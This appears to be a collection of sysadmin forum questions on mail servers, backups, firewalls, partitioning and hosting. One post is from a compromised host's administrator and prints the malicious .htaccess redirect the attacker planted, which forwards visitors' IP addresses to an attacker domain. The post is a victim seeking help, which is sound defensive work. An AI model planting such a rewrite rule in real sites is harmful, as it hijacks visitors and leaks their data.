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• Exchange emails not delivering for one user

  - by Cylindric

  We have an Exchange infrastructure going through a migration from 2003 SP2 (call it ExOld) to 2010 (ExNew). All users are now on the new server, but mail is still being directed to ExOld until testing is complete. ExNew sends emails directly to the internet. For one particular user, emails don't seem to be being reliably delivered, but the odd thing is that it's not all emails. I can see external emails in his inbox. If I send an internal email it works fine. If I send an email from Gmail to him it doesn't get through. If I telnet from outside to ExOld I can send an email to him. If I telnet from outside to ExNew I can send an email to him. This is a transcript that results in a successful send: 220 ExOldName Microsoft ESMTP MAIL Service, Version: 6.0.3790.4675 ready at Mon, 22 Oct 2012 10:55:26 +0100 EHLO test.com 500 5.3.3 Unrecognized command EHLO test.com 250-ExOldFQDN Hello [MyTestExternalIp] 250-TURN 250-SIZE 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250-X-EXPS GSSAPI NTLM LOGIN 250-X-EXPS=LOGIN 250-AUTH GSSAPI NTLM LOGIN 250-AUTH=LOGIN 250-X-LINK2STATE 250-XEXCH50 250 OK MAIL FROM:[email protected] 250 2.1.0 [email protected] OK RCPT TO:[email protected] notify=success,failure 250 2.1.5 [email protected] DATA 354 Start mail input; end with . Subject:Test 1056 Test 10:56 . 250 2.6.0 Queued mail for delivery quit 221 2.0.0 ExOldFQDN Service closing transmission channel Emails go through Symantec Cloud, but their "Track and Trace" shows the messages going through, with a "delivered ok" log entry. 2012-10-22 09:19:56 Connection from: 209.85.212.171 (mail-wi0-f171.google.com) 2012-10-22 09:19:56 Sending server HELO string:mail-wi0-f171.google.com 2012-10-22 09:19:56 Message id:CAE5-_4hzGpY2kXFbzxu7gzEUSj5BAvi+BB5q1Gjb6UUOXOWT3g@mail.gmail.com 2012-10-22 09:19:56 Message reference: 135089759500000177171130001194006 2012-10-22 09:19:56 Sender: [email protected] 2012-10-22 09:19:56 Recipient: [email protected] 2012-10-22 09:20:26 SMTP Status: OK 2012-10-22 09:19:56 Delivery attempt #1 (final) 2012-10-22 09:19:56 Recipient server: ExOldIP (ExOldIP) 2012-10-22 09:19:56 Response: 250 2.6.0 Queued mail for delivery I'm not sure where to look on the old (or new) server for information as to where the mails are ending up.

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• Are ZFS snapshots + S3 a viable backup system for several VMs and general fileserver storage?

  - by AllanA

  I've been tasked with setting up a backup system for my small office (around 12 people). Most of our production stuff is on the AWS cloud, so what I need to back up are some small office/development files (under 100G right now), plus our operational VMs and development, which round out to a bit under 1T. I just need something reliable, convenient, and straightforward. I'm comfortable with Linux, FreeBSD, and to some extent Solaris 10, so I'm leaning toward a full server rather than an appliance system ala Openfiler or FreeNAS. What I'm contemplating is a small fileserver for general storage and nightly backups of the virtual machines, followed up by an offsite backup to Amazon's S3 storage service. It'd be the usual incremental backups nightly and full backup weekly. My question is if using ZFS snapshots, both locally and dumped to S3 via 'zfs send [-i]', is a viable backup tool? Or should I stick to using Duplicity, or some other method entirely? ZFS snapshots on the internal fileserver/backup machine sound like a perfect way to provide quick and convenient data recovery, so I'm likely to go with that for local redundancy. (If you folks see scenarios where relying on ZFS snapshots would be worse than a more traditional archiving backup, feel free to convince me.) But are snapshots flexible enough to lean on for recovery from the loss of my backup server? Or am I better off with something more traditional? (feel free to recommend free or commercial backup solutions you favor.)

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• Problems forwarding port 3306 on iptables with CentOS

  - by BoDiE2003

  Im trying to add a forward to the mysql server at 200.58.126.52 to allow the access from 200.58.125.39, and Im using the following rules (its my whole iptables of the VPS of my hosting). I can connect locally at the server that holds the mysql service as localhost, but not from outside. Can someone check if the following rules are fine? Thank you # Firewall configuration written by system-config-securitylevel # Manual customization of this file is not recommended. *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :RH-Firewall-1-INPUT - [0:0] -A INPUT -j RH-Firewall-1-INPUT -A FORWARD -j RH-Firewall-1-INPUT -A RH-Firewall-1-INPUT -i lo -j ACCEPT -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT -A RH-Firewall-1-INPUT -p 50 -j ACCEPT -A RH-Firewall-1-INPUT -p 51 -j ACCEPT -A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT -A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp -s 200.58.125.39 --dport 3306 -j ACCEPT -A INPUT -p tcp -s 200.58.125.39 --sport 1024:65535 -d localhost --dport 3306 -m state --state NEW,ESTABLISHED -j ACCEPT -A OUTPUT -p tcp -s localhost --sport 3306 -d 200.58.125.39 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT COMMIT And this is the output of the connection trial. [root@qwhosti /home/qwhosti/public_html/admin/config] # mysql -u user_db -p -h 200.58.126.52 Enter password: ERROR 2003 (HY000): Can't connect to MySQL server on '200.58.126.52' (113)

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• How to turn off Windows Azure's "This copy of Windows is not genuine" message?

  - by Sid

  Is there any setting/configuration item to avoid Windows Azure from printing that error on the screen or detecting it? I've put a screenshot below that shows the message when you RDP into the web role. My web role runs on Windows Azure Guest OS 1.17 (variant of Windows Server 2008 SP2) Background: I was explaining our architecture to some outside engineers (NDA'd and all) and had to demystify the webrole as they were unfamiliar with Azure. I RDP'd into the VMs running the Web Role when one of their engineers gasped "are you guys running pirated copies of Windows in the cloud?" I also noticed that within the RDP screen, the Azure machines had "This copy of Windows is not genuine" on the bottom left corner. Now obviously, Microsoft is running their own OS in their own datacenter with no influence from me. So no 'piracy' here, despite that obvious warning. However, they seemed so distracted by this ("how can it be? really? hmmm?") that we wasted more time talking about it than the actual matter at work. Like I said, they have little exposure to Azure but have value add elsewhere. I want to get rid of this so I don't have to explain this in the future. PS Microsoft: If you're going to modify Windows Server <XYZ> into Windows Azure <A.B> , you should also modify the code that verifies product integrity.

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• Why am I missing 4GB of RAM on Windows Server 2008 R2 64bit?

  - by Nick G

  I noticed today that a server was very low on memory. It physically has 8GB installed and runs Windows 2008 R2 Standard 64bit. It also hosts 2 virtual machines using HyperV. Server is Dell Poweredge R510. However the host OS reports in task manager that it only has 4GB of RAM, despite actually having 8GB and it being a 64bit OS. Computer properties shows Installed memory: 8.00GB (3.99GB usuable). Why would "usable" be half the real RAM installed under a 64bit OS? Additionally nearly all of the 4GB of visible RAM on the host OS is being used by something without anything showing up in task manager (presumably HyperV as it's allocated 3.6GB to the virtual machines its hosting). However that doesn't explain where the other 4GB has gone which Windows can't even see. Where is my missing 4GB of RAM? Update: Dell OpenManage says this: Total Installed Capacity 8192 MB Total Installed Capacity Available to the OS 4096 MB So looks like Nathan's suggestion of memory mirroring might be correct. I'll have to reboot to check this (I think?) Update 2 OK. So I reboot and I get a message saying "the amount of system memory has changed" (despite not having touched the hardware in a year). Once Windows has booted, all 8GB is visible again. Looks like I probably have a hardware RAM issue (I'll perhaps try reseating it whenever I can chuck everyone off the server next). Thanks for your answers and comments. I was hoping it was going to be the mirrored-RAM option but it seems not - that's not even mentioned in the BIOS.

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• Force delivery retry without restarting the SMTP Service on Windows Server 2008 R2

  - by Mathias R. Jessen

  I have a Windows Server 2008 R2 box hosting 3 virtual SMTP servers; vSMTP01, vSMTP02 and vSMTP03. The first two are configured to deliver all messages to dedicated smarthosts, while the last is set to just deliver the messages on its own. All other delivery settings are as default ----(vSMTP01)-----> {SMARTHST01} / ----Inbound mail--->---SMTPSRV01---[----(vSMTP02)-----> {SMARTHST02} \ ----(vSMTP03)-----> { Internet } Now I want to take SMARTHST01 out for maintenance, but I don't want to reject submissions to vSMTP01 while doing so, so I just let it continue running. When SMARTHST01 is no longer responding, vSMTP01 queues the messages and wait for the first retry interval to pass (15 minutes). So far so good. Let's say SMARTHST01 gets online again after 20 minutes. The first interval has passed, and I'll have to wait another 25 minutes for the second retry interval to pass. If I stop and start the SMTP Service (Services.msc - Simple Mail Transfer Protocol service - Stop), the server will retry all deliveries, but that would cause a service interruption for ALL virtual SMTP servers on the machine, which is highly undesirable. How can I manually force vSMTP01 to retry delivery of all queued messages without interrupting the service of vSMTP02 and vSMTP03?

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• Servers/Websites Keep Going Down

  - by Tyler Johnson

  Okay, I'm a noobie. I know how to build and compose a website, but I have no idea what I'm doing when it comes to servers and server commands, etc. I've recently had a problem with all of my sites on our servers going down all at once and then I have to go in and reboot the server for them to come up again. At first this was annoying, but now it is becoming agonizing as it now takes 3-4 reboots for the websites to come back up. I contacted support for my hosting, but they are not being very helpful. They just keep telling me what the issue might be and basically telling me that I'm going to have to look into it and figure it out, which really isn't possible since I know nothing. Anyway, here are the things they said were possible reasons: They said I have "strange logs" in my Apache webserver log, error: sh: fetch: command not found. My php.ini memory limit is: 256M which is very high. It should be 32M or 64M. Server is reaching Max Clients, meaning we have more than 150 visitors at a time. (They supposedly "fixed" this, but the sites/server are still going down) I have some Wordpress sites with plugins getting errors like: PHP Warning: pack(): Type H: illegal hex digit G in... PHP Fatal error: Cannot use object of type stdClass as array in... PHP Fatal error: Maximum execution time of 30 seconds exceeded in... PHP Fatal error: Call to undefined function file_exists() in... PHP Parse error: syntax error, unexpected '<' I know that's a lot, but I really am at wits end and have no idea what to do now. If anyone could maybe give me some advice or point me in the right direction I would greatly appreciate it! Thanks! Oh, and here are the specs for my server: RAM: 2048MB CPU Shares: 40 Primary Disk: 50GB Data Transfer: 75GB Port Speed: 5Mbps Type: Linux

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• Connecting SVN from Remote Server

  - by Ashish

  I have hosted my repository in assebbla & it works fine. now I want to write a script that can automate the build process : 1. Take the code from assembla repository 2. Make a dump and copy it onto my web server. what I have researched from net states that use of commands like svn co svn+ssh://[email protected]/home/svn/test I believe I need to open Shell on my server and type these commands but shell has been disabled from my server admin. I tried to run the same from php using exec , admin has disabled that too. (am using shared hosting and want to do a automated deployment using these simple steps. i don't want to bring my local system in this process) now am not sure even if I get the shell access open to my server these commands like svn will work there as I don't have SVN installed on my server (its installed on assembla). kindly let me know if any more explanation is required regarding the same or if am going on the wrong track. Am a newbie so please be descriptive in answering :) Thanx in advance Ace

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• Virtual box host-only adapter configuration

  - by Xoundboy

  I have VirtualBox 4 running on Win 7 with a Centos 6 guest VM set up for hosting my dev server. When I'm connected to my home network the guest can be accessed via a static IP address that I configured (192.168.56.2), but not when I'm in the office. I'm guessing that the DHCP server in the office doesn't have a gateway configured for the 192.168.56.x IP range. I read something about the VB host-only adapter that should allow me to set this guest VM up in such a way that I don't need to be on any network to be able to access the guest from the host using a static IP. I've not been able to find out exactly how to configure this though. Can anyone give me an example configuration, thanks. UPDATE: Thanks for your responses. I've now set up a single virtual network adapter in VirtualBox and set it to host-only: C:\Users\Ben>vboxmanage list hostonlyifs Name: VirtualBox Host-Only Ethernet Adapter GUID: d419ef62-3c46-4525-ad2d-be506c90459a Dhcp: Disabled IPAddress: 192.168.56.2 NetworkMask: 255.255.255.0 IPV6Address: fe80:0000:0000:0000:78e3:b200:5af3:2a57 IPV6NetworkMaskPrefixLength: 64 HardwareAddress: 08:00:27:00:94:e8 MediumType: Ethernet Status: Up VBoxNetworkName: HostInterfaceNetworking-VirtualBox Host-Only Ethernet Adapter On the guest I've set up eth0 to use the same IP address as the host-only adapter (192.168.56.2) but when I try to log in using Putty I still get "Network Error : connection refused". VirtualBox DHCP servier is enabled but I can't ping the gateway (192.168.56.1) from either host nor guest. There's no firewall running on either OS. What next?

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• Managed LAMP platform for maximizing availability and global reach, not scalability

  - by user66819

  Assume a Linux/Apache/MySQL/PHP application for a small base of registered users. With small userbase, there are no traffic peaks so the scalability that cloud platforms offer is not imperative. But the system is mission-critical, so availability is the primary goal. Users are also distributed across Asia, Europe, and US, so multiple server locations that minimize users' network hops would be highly desirable. The dream: a managed VPS platform where we would configure a single server (uploading PHP and other files, manipulating database, etc.), and the platform would automatically mirror the server in a handful of key places around the world (say one on each US coast, one in Europe, one in east Asia). File system synchronization and MySQL replication would happen automatically. Core operating system is managed, so we don't need to do full system administration and security, and low-level backups are also done by service provider, though we also do our own backups as well. Couple this with some sort of DNS geo-detection, so users are routed to the nearest operational server... with support for https, of course. Does such a dream exist? If not, what are some approaches to accomplish the same end with minimal time investment and minimal monthly hosting costs?

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• High disk I/O activity in CentOS server

  - by triiim

  I have about 16 websites in a CentOS dedicated, and I am having some problems on high traffic hours, it seems to be a high disk I/O activity causing a general slowdown. I've installed atop and this is what I see on the bottom (the server has been restarted thats why the values are so low): *** system and process activity since boot *** PID RDDSK WRDSK WCANCL DSK CMD 1/18 2176 1.7G 7.3G 854.4M 39 mysqld 671 1248K 3.0G 0K 13 flush-8:0 566 0K 1.1G 0K 5 jbd2/sda2-8 2401 124.2M 529.1M 22408K 3 crond 2032 2.2G 502.0M 0K 12 nginx 2360 425.8M 115.3M 4188K 2 httpd flush-8:0 and jbd2/sda2-8 are the processes I see with iotop using 99% on the IO column, and they are the processes that write the most on the hdd (after mysql). From what I saw in google this could be caused by some ext4 related bug, the current kernel is: Linux srvr.com 2.6.32-71.29.1.el6.x86_64 #1 SMP Mon Jun 27 19:49:27 BST 2011 x86_64 x86_64 x86_64 GNU/Linux I asked the hosting support to update the kernel and they tried but they now say that the server wont boot with the new installed kernel and they had to go back to the previous, they are not helping very much. Does someone has any idea how could I solve the high disk usage caused by flush-8:0 and jbd2/sda2-8 processes?

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• Handling emails on a web server - Making sure the FQDN is set correctly based on the website sending the email

  - by webnoob

  I have a Windows 2008 Web Edition server hosting multiple websites using IIS 7.5. At the moment, all the emails are sent via the IIS6 SMTP service. The FQDN of the SMTP service is set to the computer name at the moment which isn't correct as it doesn't resolve to a valid DNS entry and is not RFC compliant. Some questions: Is there any way I can change the FQDN of the SMTP service based on the site sending the email? Would it be Ok to just setup mailserver.mydomain.com and use that as the FQDN for all the sites on multiple domains. Should I be using some other mail server software to handle this better? The reason I am asking is lots of emails are hitting spam folders because the settings are incorrect. I have access to the code that is running the websites so if something needs to be done there then that shouldn't be a problem. The sites are written using ASP.NET 2.0. EDIT: I have just found an option to create an SMTP virtual service. Would this be the way forward? Create a virtual server for each site? Thanks.

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• when to upgrade server to include more cores, versus more processors, versus additional server?

  - by gkdsp

  The server hosting market is separated into single, double, qual, etc., processors, where each processor has several cores, or CPUs. My company will offer a Linux-based web application that relies on an Apache web server and a middle tier for business logic. The middle tier is used to crunch math, and return result to a client. Many clients may access the application simultaneously. The company will start with one processor having 4 cores. I'm trying to understand how the app uses the cores and then how to scale the application as business grows, in terms of servers/processors/cores. For example, I'd assume initially one core would be used for Apache, and the other 3 used to process client's requests for math crunching... Question 1: does that mean, with the 3 cores available, I can handle 3 separate client requests simultaneously (e.g. 1 for each of 3 cores)? I mean, except for the shared RAM, is this effectively like having 3 individual machines (from pt of view or processing client requests simulaneously)? Or, only one client's request may be processed at any one time, but that client's request is divided up into up to 3 cores depending on the type of process running that does the math crunching and whether or not it can take advantage of multi threading (so the # of cores impacts how fast any one client request completes)? I'm confused about what the cores mean to the application here. Question 2: As the business grows and more client requests need to be processed, should the server be upgraded to (A) a new machine with more cores, (B) a new machine with two processors, 4 cores each, or (C) keep the original server and add another server with a single processor? Which route provides the most efficient way to scale the application, in terms of processing more client requests per time interval? Is the choice, for example, limited by RAM (when you need more RAM than box can handle it's time to add another server), or something else? Question 3: Is the total number of client requests processed simultaneously equal to the number of cores times the number of servers (minus the one core for Apache)?

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• Centralized backup method recommendation for SMEs with various OSes

  - by Akinator

  Hi I was wondering what in your opinion is the "best" method for having "everything" backed-up in the following situation. We are a SMEs with 10 computers in total. Three of those computers are MACs The rest are windows (1 vista, 4 win7 and 2 XPs) I'm very open to what the method should be but you should also consider the follwing: Very limited resources Quite "small" bandwidth (4 MBs for all (download) 0.4 MBs (upload, yep, thats it)- though this might get, a little bit better) One of the main thing to back up would be the mails, considerations: All windows computers use outlook, mainly 2003 There is one mac that uses outlook too (for mac of course - not 2011 yet) We also have to backup the files: Not a huge amount Very few very big files Very organizes (by machine) What I would like is to hear your opinions as to which would be the best method (or combination of methods - preferably one of course) considering. We are not sure what do we need and I'm open to suggestions, though an online (cloud based applications) would be great, remember the the bandwidth is unbearable. Last think to consider, it that we would like to do weekly updates (unless the method is very easy of course). Thanks in advance!! I tried to be as specific as possible, but if anything is needed I'll gladly update, please ask for any clarification needed! Please avoid any answers like upgrade all to windows 7 and throw away your macs :) our's may not be an ideal situation, but it is what it is, and right now, it would be impossible for us to change it for a lot of circumstances.

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• IIS 6 Denies access to the default document

  - by Jim

  I've got Windows Server 2k3 with IIS6 hosting a couple ASP.NET MVC 2 applications (.NET 4), all in the Default Web Site. Most of them simply use Integrated authentication, but a couple use forms as well. All the applications work properly and are correctly accessible. The problem I'm trying to resolve is access to the default document. It is currently specified as index.htm. Both index.htm and the Default Web Site are configured to allow anonymous access (with none of the authenticated acces boxes checked). However, access is denied to the file. Accessing via server.domain.tld/ and server.domain.tld/index.htm both yield 401 errors. However, server.domain.tld/default.htm (file does not exist) properly returns a 404. If I alter the file security on index.htm to allow integrated authentication, then requesting /index.htm directly works properly for users with domain accounts, but anonymous users get a login prompt/401. How can I configure IIS to allow all users to view index.htm via server.domain.tld/?

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• disk partition centos

  - by FlourishDNA

  I am setting up server for hosting two WordPress which has size of around 70GB. I have already installed CentOS as OS and I would like to partition the Disk. Is there any tool which can help me or can someone guide me though the process as I am not expert is SSH commands. Here are some output that might help. OS: CentOS release 6.3 fdisk -l Disk /dev/xvdb: 214.7 GB, 214748364800 bytes 255 heads, 63 sectors/track, 26108 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x000b91e0 Device Boot Start End Blocks Id System Disk /dev/xvda: 21.5 GB, 21474836480 bytes 255 heads, 63 sectors/track, 2610 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x000e542c Device Boot Start End Blocks Id System /dev/xvda1 * 1 64 512000 83 Linux Partition 1 does not end on cylinder boundary. /dev/xvda2 64 2611 20458496 8e Linux LVM Disk /dev/mapper/vg_flourish-lv_root: 16.7 GB, 16718495744 bytes 255 heads, 63 sectors/track, 2032 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Disk /dev/mapper/vg_flourish-lv_swap: 4227 MB, 4227858432 bytes 255 heads, 63 sectors/track, 514 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 df Filesystem 1K-blocks Used Available Use% Mounted on /dev/mapper/vg_flourish-lv_root 16070076 758184 14495560 5% / tmpfs 958500 0 958500 0% /dev/shm /dev/xvda1 495844 31926 438318 7% /boot df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_flourish-lv_root 16G 741M 14G 5% / tmpfs 937M 0 937M 0% /dev/shm /dev/xvda1 485M 32M 429M 7% /boot Thanks

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• Can Dovecot IMAP automatically create Maildir folders for new (virtual) users?

  - by user233441

  everyone. I am learning to set up a dovecot home IMAP server using a virtual Ubuntu 12.04 machine. My intention is eventually to have a home server that uses POP3 to take email from several addresses and remove them from my ISP's servers, while making them accessible through a home IMAP server (this is similar to the setup described at https://help.ubuntu.com/community/POP3Aggregator, which explains how to set up the system with dovecot version 1, and is thus outdated). I intend to use the ISP's server directly when sending messages, and to BCC all sent messages to myself. I've completed the basic set up of the test server: getmail uses POP3 to fetch messages from two test email accounts, and successfully delivers them to the respective Maildir-style new folders on the virtual machine. Dovecot then successfully sees these messages. I have two questions: 1) I had to set up new, cur, and tmp folders for both of the test accounts manually to get this setup to work. Is there a way to get dovecot to create these Maildir folders automatically when I create a new virtual user account (e.g., when I add a user and password combination to my dovecot password file), or is it expected that I write a bash script to automate that task? 2) I would welcome any comments you have on how this approach could be improved as I learn to set it up. My motivations with this approach are 1) to enable archiving/storing emails from several hosting providers that impose a cap on server storage, and 2) to give me somewhat greater control over email storage without requiring that I set up and administrate a mail server from scratch (which I'm not yet prepared to do) (this follows the recommendations at https://ssd.eff.org/tech/email). Thank you!

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• Would a PHP application benefit from being served from a RAM drive?

  - by Tom Marthenal

  I am in charge of hosting a PHP application that is large and slow, but easy to scale. The application is entirely static, with writable disk storage needed. We've profiled the application, and the main bottleneck appears to come from loading the application and not the work the application does. The application is not CPU-intensive, although it does use a fair amount of memory (think Magento). Currently we distribute it by having a series of servers with the same PHP files on their hard drive and a load balancer in front of them. Easy but expensive. I've been reading about RAM disks and the IO benefits they offer, and was wondering if they would be well-suited to PHP applications. Since PHP applications are loaded from disk for every request and often involve lots of different files (as opposed to being kept in memory like with a Java application), I would figure that disk performance can be a severe bottleneck. Would placing the PHP files on a RAM disk and using the mount point as Apache's document root offer performance benefits? A startup script could create the RAM drive and then copy the files (which are plain-text and small) from a permanent location to the temporary RAM drive. Does this make sense, or should I just trust the linux kernel to cache the appropriate files in memory by itself?

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• What do Windows 8 Refresh and Reset my PC really do?

  - by Jerry Nixon

  In Windows 8 I can reset everything and reinstall Windows. I assume this will clear my drive and start from scratch? Is that right? Does this create a Windows.old folder? I see this dialog, but aren't my settings and preferences saved in the cloud? If I screw up my settings and reset like this, are my settings also refreshed back to defaults? Since I use SkyDrive to sync my files, my personal files are safe, right? Also, in Windows 8 I can refresh my PC without affecting files. Are my desktop and/or Windows store apps uninstalled when I refresh my PC? I see this dialog, but I still am not sure. For example, when it says apps are "kept" does that mean I don't have to buy them again or are they installed after the refresh is over for me? I assume "from disk" means desktop apps? Or maybe corp apps? What would motivate a user to choose between these two?

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• Finding Webserver Vulnerability

  - by Brent

  We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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• Separate domains vs. one domain with alias-domains

  - by Quasdunk

  I have tried to ask this question a few days ago but I'm afraid it was not clear enough, so here's another try. I have set up a LAMP-server using ISPConfig 3 for the administration. PHP is running over Fast-CGI. I have several domains, like my_site.com, my_site.net and my_site.org, but they all point to the same application/website. Each domain has its own web-root-folder and is running under its own user. The application itself is in a common directory which is owned by another user, like so: # path to my_application (owned by web1) /var/www/clients/client1/web1/web/my_application/ # sym-link to my_application from my_site.com-web-root (owned by web5) /var/www/my_site.com/web -> /var/www/clients/client1/web1/web/ # sym-link to my_application from my_site.net (owned by web4) /var/www/my_site.net/web -> /var/www/clients/client1/web1/web/ With a setup like this I have encountered a few problems concerning the permissions when performing filesystem-operations with PHP. For instance, if the application is called via my_site.com, the user web5 is trying to write something to the application-folder. But the application-folder is owned by the user web1, so web5 is not allowed to write there. As far as I unterstand, this is how Fast-CGI works. After some research and asking a few people, the solution seems to be to break it all down to one domain (e.g. my_site.com) and define the other domains (my_site.org, my_site.net) as alias for this one domain. That way, there would be only one user who has all necessary permissions. However, this would mean that we'd have to buy a multidomain SSL-certificate - but we already have an SSL-certificate for each domain. We were able to use them with our previous provider (managed hosting), and there we also had only one web-directory and multiple domains. So if this was possible, I wonder: Is putting all the domains together into one v-host with one main- and several alias-domains the right approach in this case? Or may I have misunderstood something?

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• What kind of server configuration is best for a chatting app? [closed]

  - by mohabitar

  I'm just now starting to go deeper into the world of cloud hosting and databases, and am getting overwhelmed by how deep this information goes. It's all a little too much to consume in a short amount of time. I get a lot of pricing information, but I'm unable to determine what that means to me. I'm making what you might compare to an email app. Users can send messages to one another. I just don't understand, out of the several options, what would be ideal for an app like this, where users would be constantly sending and receiving text data. With Amazon DynamoDB, I have to specify a pre-defined throughput with number of reads and writes per second. Sure I can just type 50, but I'm not exactly sure what 50 writes per second represents. I'm trying to determine what would be the most cost efficient solution, and I want to know what a throughput of 50 reads/writes/second compares to. Is that a high number? What is a good throughput number for a message sending app with say 50,000 daily users? I'm just providing specific numbers so I can understand what these throughput numbers represent. 100 transactions/second to me seems like a small number since I'm not familiar with this stuff, so I'm just looking to bring everything in context. What would 100 read/write/second be useful for? Are there any average example values available? And I'm not sure what each service is good for. For a message sending app, is there any reason I'd want to choose say Amazon DynamoDB over Google App Engine? Any insight would be greatly appreciated.

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• centos install / partitioning

  - by ServerSideX

  I'm using NOC-PS to remotely install Centos 6.2 via KVM / IPMI. I'm going to install cPanel as well and they recommend this layout /boot (99MB) swap (2x server RAM) / (remainder) In the o/s install profile within NOC-PS software, it shows as this: part /boot --fstype ext2 --size 250 part pv.01 --size 1 --grow volgroup vg pv.01 logvol / --vgname=vg --size=1 --grow --fstype ext4 --fsoptions=discard,noatime --name=root logvol /tmp --vgname=vg --size=1024 --fstype ext4 --fsoptions=discard,noatime --name=tmp logvol swap --vgname=vg --recommended --name=swap By the time the default partition setup was done installing Centos, I get this [root@server005 ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg-root 532G 907M 504G 1% / tmpfs 7.8G 0 7.8G 0% /dev/shm /dev/sda1 243M 28M 202M 13% /boot /dev/mapper/vg-tmp 1008M 34M 924M 4% /tmp [root@server005 ~]# cat /etc/fstab # # /etc/fstab # Created by anaconda on Fri Dec 7 18:47:24 2012 # # Accessible filesystems, by reference, are maintained under '/dev/disk' # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info # /dev/mapper/vg-root / ext4 discard,noatime 1 1 UUID=58b31aaf-5072-4fb1-a858-33bc316fa793 /boot ext2 defaults 1 2 /dev/mapper/vg-tmp /tmp ext4 discard,noatime 1 2 /dev/mapper/vg-swap swap swap defaults 0 0 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts gid=5,mode=620 0 0 sysfs /sys sysfs defaults 0 0 proc /proc proc defaults 0 0 My question is, how should the NOC-PS install profile look like to get the recommended cPanel partitioning? The server has 16GB RAM, dual 600GB SAS drives and will be used for cPanel shared hosting.

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• Understanding Unix Permissions (w/ ACL)

  - by Dr. DOT

  I am trying to set permissions on my server properly. Currently I have a number of directories and files chmod'd at 0777 -- but I am not comfortable with it being this way. So at the advice of a serverfault specialist, I had my hosting provider install ACL on my shared virtual server. When I FTP to the server as my FTP user account "abc", I can do everything I need to do (and rightfully so) because all my dirs and files are owned by "abc", the group is "abc", and the 1st octet is set to 7 (rwx). That much I get. But here's where it gets dark gray for me. PHP is set to user "nobody". so when someone browses on of my web pages that either ends in .php or has some embedded PHP, I assume the last octet controls the access. Because all my dirs and files are owned by "abc" and assigned to group "abc", if the last octet was a 4 (r--) then the server would let the browser read the file. If it were a 6 (rw-) then the server would let the browser also write to the file or directory, correct? what if the web document does not end in .php or does not have any PHP embedded? What is the user then? how can I use ACL to not set the permission to 6 (rw-) or even 7 (rwx)? [not sure what execute does or means] Just looking for some sort of policy settings to best lock down my dirs and files while allowing my PHP scripts to do uploads and write to files (so my users don't call me to tell me "permission denied". Ok, thanks to anyone out there willing to lend me a hand. It is greatly appreciated.

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• How do I make a PPT file as small as possible?

  - by grunwald2.0

  Currently I am agonizing over several large presentation files, which I happened to reprint to PDFs... One thing I wondered: Do PPT's (from Microsoft Powerpoint) always to have to be that big? And what would be the strategies to make a PPT smaller? (If we say "ceterus paribus" at e.g. 25 slides and assuming that one isn't allowed to use a cloud-based service like GDocs, rocketslide or Prezio.) Of course there are the obvious "bad guys": Images and graphics. But: How about roll-over animations etc, who knows how much space they take? How about "smart arts"? Could one save file size if one would use "Open Office" or "Libre Office" Impress? (I didn't try it yet.) And "what if": What if we need to include e.g. five images (or charts that can't be remade in Excel in time), how would we best reduce the file size impact of those five images, if we needed to? I ask all this from an honest "business" perspective. I am no nerd or "Microsoft MVP" and I don't intend on delving into LATeX or similar yet. But that doesn't mean that I am not curious and very willing to learn. I am basically interested in (proven) best practices. Yes I know this question is lacking "initial research", but I think the perspective of my question is interesting and unique to a lot of people and if we intend to make SE a "Q&A" / Wiki kind-of reference site, this question might be a good way to "collect" advice on a question that has a very defined goal: Minimum file-size.

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